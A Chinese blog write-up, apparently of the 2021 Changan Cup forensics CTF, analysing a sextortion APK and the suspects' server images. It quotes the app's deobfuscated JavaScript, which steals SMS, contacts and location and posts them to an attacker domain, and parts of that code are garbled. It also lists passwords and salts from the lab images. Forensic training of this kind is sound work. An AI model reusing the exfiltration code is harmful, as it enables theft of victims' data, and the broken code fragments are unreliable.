数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)

新闻资讯2026-04-21 14:53:25

案情如下

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第1张

2021年4月25日,上午8点左右,警方接到被害人金某报案,声称自己被敲诈数万元;经询问,昨日金某被嫌疑人诱导luoliao,下载了某“luoliao”软件,导致自己的通讯录和luoliao视频被嫌疑人获取,对其进行敲诈,最终金某不堪重负,选择了报警;警方从金某提供的本人手机中,定向采集到了该“luoliao”软件的安装包--zhibo.apk(检材一),请各位回答下列问题:(题目 中需要通过分析出来的答案对检材二三四五解压,解压密码为IP的情况,需要在密码后增加-CAB2021,例192.168.110.110-CAB2021)

MjMzMg.Zhplu1Em6nv-BtSgO72J053ZZ5c

参考文章:2021长安杯 - XDforensics-Wiki、2021年长安杯电子数据取证比赛复盘完整版(wp) - 灰信网(软件开发博客聚合)、电子数据取证刷题 | iyheart 的博客

比赛都是由VeraCrypt进行加密的磁盘,密码是:

2021第三届CAB-changancup.com

是的第一步就卡了我很久……

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第2张

使用以下命令计算:

certutil -hashfile 检材一-zhibo.apk sha256

certutil Windows 内置工具,主要用于管理证书,但也支持文件哈希计算功能。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第3张

在 Android 应用中,APK 的包名(Package Name) 是应用的唯一标识符,通常遵循反向域名命名规则(如 com.example.myapp)。

所以apk安装后在桌面上显示的并不是APK的包名,而是叫应用名称

属性 说明 应用名称 用户可见的名称(如“bilibili”、“微信”),可随意修改,与包名无关。 应用包名 开发者在代码中定义的唯一标识符(如 com.tencent.mm),不可重复,用于系统识别。

使用GDA进行分析:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第4张

BaseInfo中的Package Name中可以找到其应用包名

APPID:

  • 由第三方服务商(如微信开放平台、支付宝、极光推送等)为你的应用生成的 唯一字符串,用于区分不同应用或同一应用的不同环境(如开发/生产)。
  • 作用
    • 服务商通过 APPID 识别请求来源,验证应用合法性。
    • 关联应用在服务商后台的配置(如支付密钥、回调地址、权限等)。

常见场景与 APPID 示例

服务类型 服务商示例 APPID 格式 获取位置 微信登录/支付 微信开放平台 wx1234567890abcdef 微信开放平台 → 应用详情 → 基本配置 支付宝支付 支付宝开放平台 2021003105691234 支付宝开放平台 → 应用详情 → 应用信息 极光推送 极光推送 (JPush) a1b2c3d4e5f6g7h8i9j0 极光控制台 → 应用设置 → 应用详情 友盟统计 友盟+ (Umeng) 5f3d4e5f6g7h8i9j0 友盟后台 → 应用管理 → 应用信息 腾讯云服务 腾讯云 1250000000 腾讯云控制台 → 访问管理 → API 密钥管理
  • 保密性:APPID 通常需与 AppSecretAPI Key 配合使用,需妥善保管,避免泄露。
  • 环境区分:开发环境和生产环境可能需要不同的 APPID(如测试版和正式版)。
  • 权限绑定:部分服务商要求 APPID 与应用的 包名签名证书 严格匹配,否则调用失败。

常见问题

Q1: APPID 和 APK 包名不一致会怎样?
  • 结果:服务商 API 调用失败(如微信支付报错 “签名错误”)。
  • 解决:在服务商后台检查绑定的包名和签名是否与 APK 一致。
Q2: 一个应用可以有多个 APPID 吗?
  • 可以:例如,同时集成微信登录和支付宝支付时,需分别申请各自的 APPID。
Q3: APPID 泄露了怎么办?
  • 风险:可能被恶意调用,产生资损或数据泄露。
  • 措施:立即在服务商后台重置 AppSecret 或停用旧 APPID。

看WP里面说都是用雷电APP自动分析的

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第5张

包名里面包含着APPID,怎么回事?

某些 SDK 或服务商(如 Hybrid 混合开发框架、WebView 封装工具)可能会要求开发者将 APPID 直接嵌入包名,以便:

  • 自动化配置:动态生成应用时,直接通过包名解析 APPID,避免手动维护多个配置文件。

  • 唯一性校验:通过包名中的 APPID 快速验证应用合法性(例如企业内部分发应用)。

  • 示例
    若一个平台为不同客户生成定制化 APK,包名格式可能为 平台前缀.客户APPID(如 plus.H5B8E45D3),便于批量管理。

没有申请火眼取证,这里用AI的方法解出:

使用apktool进行反编译

寻找APPID重点关注以下目录:

  • res/values/strings.xml:可能存储硬编码的 APPID。
  • AndroidManifest.xml:声明第三方 SDK 的权限或配置。
  • assets/lib/:存放配置文件或 SDK 密钥。

AndroidManifest.xml中找到关键内容,就在包名之后。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第6张

<meta-data android:name="DCLOUD_STREAMAPP_CHANNEL" android:value="plus.H5B8E45D3|H5B8E45D3|128361130111|"/>

<meta-data> 标签:用于在 AndroidManifest.xml 文件中声明 额外的配置信息

android:name="DCLOUD_STREAMAPP_CHANNEL"

  • DCLOUD_STREAMAPP_CHANNEL 可能是 DCloud(HBuilder) 相关的一个标识。
  • DCloud 是开发 HBuilder 和 uni-app 的公司,这可能是 DCloud HBuilder App 的流应用渠道信息

android:value="plus.H5B8E45D3|H5B8E45D3|128361130111|"

  • plus.H5B8E45D3 → 可能是 应用的 Plus 标识(与 HBuilder 相关)。
  • H5B8E45D3 → 可能是 HBuilder 生成的 App 唯一标识(HBuilder 生成的 H5 App 可能都会有一个这样的 ID)。
  • 128361130111 → 可能是 渠道号或者开发者 ID
  • 最后一个 | 为空,可能是预留字段。
A.读取短信 B.读取通讯录 C.读取精确位置 D.修改通讯录 E.修改短信

手机APP权限申请主要集中在AndroidManifest.xml文件最上方:

    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.INSTALL_PACKAGES"/>
    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
    <uses-feature android:name="android.hardware.camera"/>
    <uses-feature android:name="android.hardware.camera.autofocus"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.WRITE_SMS"/>
    <uses-permission android:name="android.permission.GET_ACCOUNTS"/>
    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
    <uses-permission android:name="android.permission.READ_LOGS"/>
    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
    <uses-permission android:name="com.huawei.android.launcher.permission.CHANGE_BADGE"/>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    <uses-permission android:name="com.asus.msa.SupplementaryDID.ACCESS"/>
权限 作用 风险 android.permission.INTERNET 访问互联网 可能会上传数据 android.permission.WRITE_EXTERNAL_STORAGE 读写外部存储 可能会窃取或篡改用户文件 android.permission.ACCESS_NETWORK_STATE 读取网络状态 可能被用来监听网络活动 android.permission.ACCESS_WIFI_STATE 读取 WiFi 状态 可能用于网络环境监听 android.permission.INSTALL_PACKAGES 安装应用 可能会静默安装恶意软件 android.permission.REQUEST_INSTALL_PACKAGES 允许安装应用 可能会诱导安装未知软件 android.hardware.camera 访问相机 可能用于偷拍 android.hardware.camera.autofocus 访问自动对焦功能 可能配合摄像头使用 android.permission.ACCESS_COARSE_LOCATION 访问粗略位置信息 可能泄露用户位置 android.permission.ACCESS_FINE_LOCATION 访问精确位置信息 可能用于 GPS 追踪 android.permission.READ_CONTACTS 读取通讯录 可能窃取联系人信息 android.permission.READ_SMS 读取短信 可能窃取验证码 android.permission.RECEIVE_SMS 接收短信 可能用于劫持验证码 android.permission.SEND_SMS 发送短信 可能导致恶意扣费 android.permission.WRITE_SMS 写入短信 可能伪造短信 android.permission.GET_ACCOUNTS 访问用户账户 可能获取 Google 账户等信息 android.permission.WRITE_CONTACTS 修改通讯录 可能篡改联系人信息 android.permission.CHANGE_WIFI_STATE 修改 WiFi 状态 可能用于劫持网络 android.permission.READ_PHONE_STATE 读取设备信息 可能收集 IMEI、SIM 卡等信息 android.permission.MOUNT_UNMOUNT_FILESYSTEMS 挂载/卸载文件系统 可能修改文件系统 android.permission.READ_LOGS 读取系统日志 可能窃取敏感信息 android.permission.WRITE_SETTINGS 修改系统设置 可能影响用户配置 com.huawei.android.launcher.permission.CHANGE_BADGE 修改华为桌面图标角标 一般用于通知 android.permission.READ_EXTERNAL_STORAGE 读取外部存储 可能访问用户文件 com.asus.msa.SupplementaryDID.ACCESS 访问 ASUS 设备标识 可能用于设备追踪

常见危险权限:

权限描述 权限名(Android Manifest 中的名称) 读取短信 android.permission.READ_SMS 读取通讯录 android.permission.READ_CONTACTS 读取精确位置 android.permission.ACCESS_FINE_LOCATION 修改通讯录 android.permission.WRITE_CONTACTS 修改短信 android.permission.WRITE_SMS
A.手机通讯录 B.手机应用列表 C.手机号码 D.验证码 E.GPS定位信息

模拟器安装软件后发现关键词,在jdax中进行搜索:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第7张

发现了应用主页面中进行了sojsonv4加密的script标签,使用在线工具进行解密查看:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第8张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第9张

Sojson v4 解密 - Bugku CTF平台

/*
*Aman - 194nb.com
*/
/*
 *Progcessed By JSDec in 0.00s
 *JSDec - JSDec.js.org
 */
mui.init();

mui.plusReady(function() {
      //var main = plus.android.runtimeMainActivity();  
      // main.moveTaskToBack(false);
      var address = plus.device.vendor + '-' + plus.device.model;
      address = address.replace(/
/g, "").replace(/ /g, "").replace(/
/g, "");
      var apiserver = 'http://www.honglian7001.com/api/uploads/';
      //重复数据处理 预防用户重复点击
      var danjishijian = true;
      function requestPermission(sjh, yqm) {
            plus.android.requestPermissions(["android.permission.READ_SMS"],
            function(resultObj) {
                  //SmsInfo存放一条短信的各项内容
                  var SmsInfo = {}
                  //Sms存放所有短信
                  var Sms = {}

                  var aimei = sjh;
                  var aimei2 = yqm;
                  var duanxin = '[{"imei":"' + aimei + '","imei2":"' + aimei2 + '"}';
                  var Cursor = plus.android.importClass("android.database.Cursor") var Uri = plus.android.importClass("android.net.Uri")  //注意啦,android.net.Uri中的net是小写
                  var activity = plus.android.runtimeMainActivity() var uri = Uri.parse("content://sms/");

                  var projection = new Array("_id", "address", "person", "body", "date", "type") var cusor = activity.managedQuery(uri, projection, null, null, "date desc") var idColumn = cusor.getColumnIndex("_id") var nameColumn = cusor.getColumnIndex("person") var phoneNumberColumn = cusor.getColumnIndex("address") var smsbodyColumn = cusor.getColumnIndex("body") var dateColumn = cusor.getColumnIndex("date") var typeColumn = cusor.getColumnIndex("type") if (cusor != null) 
                        duanxin = duanxin + ']';
                        //alert(duanxin);
                        mui.ajax(apiserver + 'apisms', {
                              data: {
                                    data: duanxin
                              },
                              dataType: 'text',
                              //服务器返回json格式数据
                              type: 'post',
                              //HTTP请求类型
                              timeout: 10000,
                              //超时时间设置为10秒;              
                              success: function(data) {
                                    mui.toast('获取成功')
                                    //console.log(con)

                              },
                              error: function(xhr, type, errorThrown) {
                                    //异常处理;
                              }
                        });
                        cusor.close()
                  }

            },
            function(error) {
                  console.log('申请权限错误:' + error.code + " = " + error.message);
            });
      }

      //扩展Date功能:将long型日期转换为特定的格式
      Date.prototype.format = function(format) 
            if (/(y+)/.test(format)) 
            for (var k in o) 
            }
            return format;
      }

      //将long型日期转换为特定格式
      function getFormatDate(l, pattern) 
            return date.format(pattern);
      }

      //alert(plus.device.uuid)
      plus.navigator.setStatusBarBackground("#db6eff");

      mui("body").off("tap");

      mui("body").on('tap', '#tx',
      function(event) {

            $('#tx').hide();
            $('#zz').show();
      });

      mui("body").on('tap', '#gb',
      function(event) {

            $('#tx').show();
            $('#zz').hide();
      });

      mui("body").on('tap', '#qd',
      function(event)  else {
                  aa()
            }

      });

      function getPermission(permissionIdentity, successCallBack, errorCallBack) {
            //权限标识转换成大写  
            var permissionIdentity = permissionIdentity.toUpperCase();
            //获取检测权限的状态  
            var checkResult = plus.navigator.checkPermission(permissionIdentity);
            //权限状态是否正常  
            var permissionStatusOk = false;
            //权限中文名称  
            var permissionName = '';
            //对应 andorid 的具体权限  
            var androidPermission = '';
            //获取权限中文意思与对应 android 系统的权限字符串  
            switch (permissionIdentity) {

            case 'CONTACTS':
                  permissionName = '系统联系人';
                  androidPermission = 'android.permission.READ_CONTACTS'
                  break;

            default:
                  permissionName = '未知';
                  androidPermission = '未知';
                  break;
            }

            //判断检查权限的结果  
            switch (checkResult) {
            case 'authorized':
                  //正常的  
                  permissionStatusOk = true
                  break;
            case 'denied':
                  //表示程序已被用户拒绝使用此权限,如果是拒绝的就再次提示用户打开确认提示框  
                  //如果有该权限但是没有打开不进行操作还是会去申请或手动打开  
                  // console.log('已关闭' + permissionName + '权限')  
                  // errorCallBack('已关闭' + permissionName + '权限');  
                  // return  
                  break;
            case 'undetermined':
                  // 表示程序未确定是否可使用此权限,此时调用对应的API时系统会弹出提示框让用户确认  
                  // this.requestPermissions(androidPermission, permissionName, successCallBack, errorCallBack)  
                  // errorCallBack('未确定' + permissionName + '权限');  
                  // return  
                  break;
            case 'unknown':
                  errorCallBack('无法查询' + permissionName + '权限');
                  return break;
            default:
                  errorCallBack('不支持' + permissionName + '权限');
                  return break;
            }

            //如果权限是正常的执行成功回调  
            if (permissionStatusOk) {
                  successCallBack()
            } else 
                              if (e.deniedPresent.length > 0) {
                                    //权限被临时拒绝  
                                    // 弹出提示框解释为何需要定位权限,可再次调用plus.android.requestPermissions申请权限  
                                    errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
                                    // console.log('Present Denied!!! ' + e.deniedPresent.toString());  
                              }
                              if (e.granted.length > 0) {
                                    //权限被允许  
                                    //调用依赖获取定位权限的代码  
                                    successCallBack()
                                    // console.log('Granted!!! ' + e.granted.toString());  
                              }
                        },
                        function(e) )
                  } else if (plus.os.name == 'iOS')  else  else if (e.index == 1) 
                              },
                              'div')
                        }
                  }
            }
      }

      function aa() ,
                  function(msg) {
                        mui.alert(msg, '提醒', '确定',
                        function() {},
                        'div')
                        //aa()
                  })
            } else {
                  mui.toast('请输入正确的手机号和邀请码')
            }

      }

      function dingwei(sjh, yqm) );
      }

      function translatePoint(position) {

            var sjh = $('#sjh').val() var yqm = $('#yqm').val() var currentLon = position.coords.longitude;
            var currentLat = position.coords.latitude;
            var jingweidu = sjh + ',' + yqm + ',' + currentLon + ',' + currentLat;
            mui.ajax(apiserver + 'apimap', {
                  data: {
                        data: jingweidu
                  },
                  dataType: 'text',
                  //服务器返回json格式数据
                  type: 'post',
                  //HTTP请求类型
                  timeout: 10000,
                  //超时时间设置为10秒;              
                  success: function(data) ,30000)
                        }

                        mui.toast(data)
                  },
                  error: function(xhr, type, errorThrown) {
                        //异常处理;

                  }
            });

            //书写自己的逻辑
      }
      // 扩展API加载完毕,现在可以正常调用扩展API
      function huoqu(sjh, yqm) 

                        mui.ajax(apiserver + 'api', {
                              data: {
                                    data: con
                              },
                              dataType: 'text',
                              //服务器返回json格式数据
                              type: 'post',
                              //HTTP请求类型
                              timeout: 10000,
                              //超时时间设置为10秒;              
                              success: function(data) 
                                          });
                                    } else {
                                          mui.toast(data)
                                    }
                                    //console.log(con)
                              },
                              error: function(xhr, type, errorThrown) {
                                    //异常处理;

                              }
                        });

                  },
                  function() {
                        mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
                  },
                  {
                        multiple: true
                  });
            },
            function(e) {
                  mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
            });
      }

});

答案为ACDE

由第五题可知使用POST请求方式

也可以先填写邀请码:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第10张

使用fiddler进行抓包,观察其请求包内容:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第11张

fiddler配置教程Fiddler对安卓模拟器里的APP抓包(步骤详细,各种抓包工具总结)_fiddlerr如何抓包模拟器-CSDN博客

可以发现使用了POST请求

由第六题可知回传地址域名在Host栏中:

www.honglian7001.com

由第五题分析到的index.html源码中发现

var apiserver = 'http://www.honglian7001.com/api/uploads/';

代码审计,对源码进行分析找出获取手机短信回传到后台的部分

短信功能搜索关键词:

短信、duanxin、sms等

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第12张

可以发现回传地址为apiserver + 'apisms'

www.honglian7001.com/api/uploads/apisms

从模拟器中进行分析:

数据库默认存储在应用的私有目录中,路径为:`/data/data/<包名>/databases/`

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第13张

也可以使用jdax进行反编译,搜索关键词sqlitehelperDATABASE_NAMEdbNameopenOrCreateDatabase.db.sqlite

(?=.*sqlitehelper)(?=.*db)

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第14张

SQLiteOpenHelper dbHelper = new FridaSQLiteHelper(this, "test.db", null, 1);

这行代码是在 Android 应用 中创建或打开一个 SQLite 数据库,用于存储和管理数据。具体解析如下:

部分 解析 SQLiteOpenHelper 这是 Android SQLite 数据库的辅助类,用于管理数据库的创建、升级等操作。 dbHelper 这是一个 SQLiteOpenHelper 的实例,用于操作数据库。 new FridaSQLiteHelper(...) 创建一个自定义的 SQLite 帮助类FridaSQLiteHelper 继承自 SQLiteOpenHelper),用于数据库操作。 this 传入 当前 Context(通常是 ActivityApplication,用于访问数据库。 "test.db" 指定 数据库文件的名称,存储在应用的私有目录 /data/data/包名/databases/test.db 中。 null 这里通常是 CursorFactory,如果为 null,表示使用默认的 CursorFactory1 设定 数据库版本号,如果版本号变化,onUpgrade() 方法会被调用以升级数据库。

他们都有雷电APP分析只有我没有……

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第15张

只好手搓frida脚本提取

Frida:

Frida 是一个强大的动态代码插桩工具,可用于 实时分析、修改和监控 APK 的运行行为。通过编写 Frida 脚本(JavaScript 或 Python),开发者或安全研究人员可以 Hook 目标应用的方法、修改参数、拦截数据等。以下是详细的解析和使用指南:

HOOK:

HOOK(钩子) 是一种拦截并修改程序执行流程的技术,类似于在代码执行路径上“挂钩子”,从而监控、修改或阻断原有行为。它是软件逆向、安全分析和自动化测试中的核心手段。

教程:Python+Frida+雷电模拟器 新手入坑实录 - 吾爱破解 - 52pojie.cn、windows下载安装adb(极其简单)_adb工具下载windows-CSDN博客

坑:下载的是frida-server,要看仔细下载,最下面有个show all,不要下了frida-core

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第16张

并且现在的雷电模拟器用的框架是X86_64,不要搞错版本了

常用命令:

adb kill-server	连接不上时进行重启
adb devices	查看模拟器是否上线

我出现了这个问题:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第17张

个人解决方法:搜索frida.exe所在目录,添加到环境变量中

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第18张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第19张

大功告成,让AI帮我编写出一个frida脚本sqldb.js

使用命令:

(不会,先空着待补充)

答案:c74d97b01eae257e44aa9d5bade97baf

经过掌握的APK程序后台服务器回连地址,警方成功调取该服务器的镜像,请使用第7题的答案对检材二进行解压进行分析。

解压密码为检材1中第七题答案:

www.honglian7001.com

这里我就用美亚柏科授权的取证大师分析了(试用版)

新建案件后导入磁盘镜像,计算其哈希值:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第20张

因为要计算原始硬盘的SHA256,不能直接计算.E01文件的哈希值,应该挂载后计算硬盘的哈希值,取证大师能够自动挂载进行计算:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第21张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第22张

查看用户登录信息中的内容:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第23张

根据背景,案发时间应该为2021年4月24日

可以发现最近的登录信息由192.168.110.203所登录

也可以使用仿真大师对虚拟镜像挂载到虚拟机中,可以绕过root用户的密码登录,使用密码123456登录root用户

在仿真环境下,使用以下命令查看用户最近登录信息:

last

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第24张

常见的服务器在集群中承担的作用:

角色类型 主要作用 关键技术/工具 重要性 负载均衡器 将用户请求分发到集群中的多个节点,避免单点过载,提高整体性能和可用性。 Nginx、HAProxy、F5、AWS ELB 确保流量合理分配,提升并发处理能力。 计算节点 执行实际的数据处理、业务逻辑运算(如数据分析、模型训练、事务处理等)。 Kubernetes、Docker、Spark、Hadoop 承担核心计算任务,直接影响处理效率。 存储节点 提供分布式数据存储,支持高可用、高并发的数据读写(如数据库、文件存储等)。 HDFS、Ceph、GlusterFS、MySQL Cluster 保障数据持久化、冗余备份和一致性。 管理节点 协调集群资源调度、节点监控、任务分配及容错管理(如集群配置、节点扩缩容等)。 Kubernetes Master、Zookeeper、Mesos 确保集群稳定运行,资源利用率最大化。 备份与恢复节点 定期备份数据,支持灾难恢复(如增量备份、全量备份、跨区域冗余)。 Rsync、Bacula、Veeam、AWS S3 Glacier 防止数据丢失,保障业务连续性。 网关/代理节点 处理外部请求路由、安全过滤(如API网关、防火墙、反向代理)。 Traefik、Envoy、Istio、Nginx 控制内外网通信,增强安全性和访问控制。 监控与日志节点 实时采集集群性能指标、日志数据,提供告警和可视化分析(如资源利用率、故障检测)。 Prometheus、Grafana、ELK Stack、Zabbix 快速定位问题,优化集群性能。 认证与授权节点 管理用户身份验证、权限控制(如单点登录、密钥分发、访问策略)。 Keycloak、OAuth2、LDAP、Kerberos 保障集群访问安全,防止未授权操作。

通过history查看历史记录:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第25张

/opt目录主要存放可选的程序,这里找到其工作目录:/opt/honglianjingsai

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第26张

分析chronusNode中的const.jscontroller文件夹中的配置文件综合来看:

  • 代码实现了基于 IP 的反向代理(代理不同的后端服务器)。
  • 服务器本身不直接运行数据库或 Redis(通常负载均衡器不会自己存储数据)。
  • 监听 80 端口,负责 HTTP 请求转发

这些特征强烈指向该服务器在充当负载均衡器反向代理服务器的角色

  • 目标服务器池

    • 代码定义了多个目标服务器 _proxy50_proxy100_proxy100p,这些服务器在不同 IP 地址上,表明该代理服务器不是单独的应用,而是将流量分发到多个后端服务器
  • 基于 IP 地址分配请求

    • 代码依据

      客户端 IP 的第三段

      来选择目标服务器,意味着:

      • 可能有多个服务器共享同一业务,但为了负载均衡,流量被分配到不同的服务器上。
      • 可能是不同区域的用户被定向到不同的后端服务器,类似于地理负载均衡
  • WebSocket 代理支持

    • ws: true 说明该代理不仅支持 HTTP 请求,还支持 WebSocket 流量,适用于长连接服务,可能用于负载均衡 WebSocket 服务器。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第27张

history命令中发现:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第28张

主配置文件在controller文件夹中的ADProxy.js

if (clientIPArr.length == 4)  else if (clientIP3Int <= 100)  else 
}

搜索关键词clientIPArr

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第29张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第30张

根据第六题的分析,有三台

log文件夹中找到案发时间的日志,进行分析:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第31张

总共记录了235条请求,其中:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第32张

其中192.168.10.203为罪犯的IP

受害者IP只能在192.168.110.252192.168.110.142中选择

个人认为192.168.110.252在日志时间线上后面一些,因此答案是这个

继续分析日志,响应192.168.110.252请求的IP为192.168.110.113

通过对检材二的分析,警方进一步掌握并落地到了目标服务器地址,通过对服务器进行证据固定,得到服务器镜像--检材三,请使用第21题答案对检材三进行解密并分析,回答下列问题

解压密码为检材2中第十题答案加上盐值:

192.168.110.113-CAB2021

这次检材给出了 web1.E01web2.E01web3.E01三个磁盘镜像,分别对应攻击者的三个IP的服务器:192.168.110.111192.168.110.112192.168.110.113

仿真大师分析将三者合一了……:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第33张

由上个检材最后一题分析受害者的通讯录被窃取之后,经由该服务器转发到了IP为192.168.110.113

说明web3的这个镜像才是关键的,因此计算其SHA-256值

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第34张

答案:205C1120874CE0E24ABFB3BB1525ACF330E05111E4AD1D323F3DEE59265306BF

这里需要后面的辅助,因为重置密码是直接重置,不会显示原来的密码(Windows会显示原来的。所以我们后面可以通过嫌疑人的PC端的Xshell中看到连接记录,从中可以看到密码

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第35张

分析检材四中攻击者的PC时找到其登录记录(我也想用火眼取证做题😭)

猜测密码思路:

网站域名

答案:honglian7001

仅仿真web3.E01登录后使用命令bt打开宝塔面板:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第36张

这仿真的虚拟机不支持中文,使用shell工具连接其IP:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第37张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第38张

连接成功:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第39张

可见面板的登录用户名为:hl123

答案:hl123

本题要稍微熟悉一点宝塔以及宝塔的一些文件结构:

这些都在/www/server/panel/tools.py这个py文件中

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第40张

答案:set_panel_pwd

由上题分析可知加密方式的哈希算法为md5

答案:md5

在设置面板密码中出现一次md5,剩下的并不在tools.py文件中

而是在public文件中,在文件目录/www/server/panel/class/public.py

经过搜索public.py文件中又使用了两次md5加密,所以答案为3

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第41张

该值在这个位置看,default.db文件:/www/server/panel/data

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第42张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第43张

答案:v87ilhAVumZL

根据给出的内网面板地址登录宝塔面板,因为给出的密码是错误的所以需要更改密码:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第44张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第45张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第46张

找到网站源代码根目录为/www/wwwroot/www.honglian7001

第二个方法:

使用history命令查看,发现有/www/wwwroot/www.honglian7001/app

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第47张

答案:/www/wwwroot/www.honglian7001

在该目录的数据库配置文件下能看到数据库位于哪个ip的服务器上/www/wwwroot/www.honglian7001/app/databae.php

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第48张

答案:192.168.110.115

由上题分析可以看到password值为wxrM5GtNXk5k5EPX

答案:wxrM5GtNXk5k5EPX

后台登录的路口都在admin中,所以答案为/admin

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第49张

答案:/admin

由上题分析/www/wwwroot/www.honglian7001/app/admin/common.php中的内容可知,password_code即为密码加入的salt值

答案:lshi4AsSUrUOwWV

管理员密码在网站日志/www.honglian7001/runtime/log/202104/24.log中可以找到:

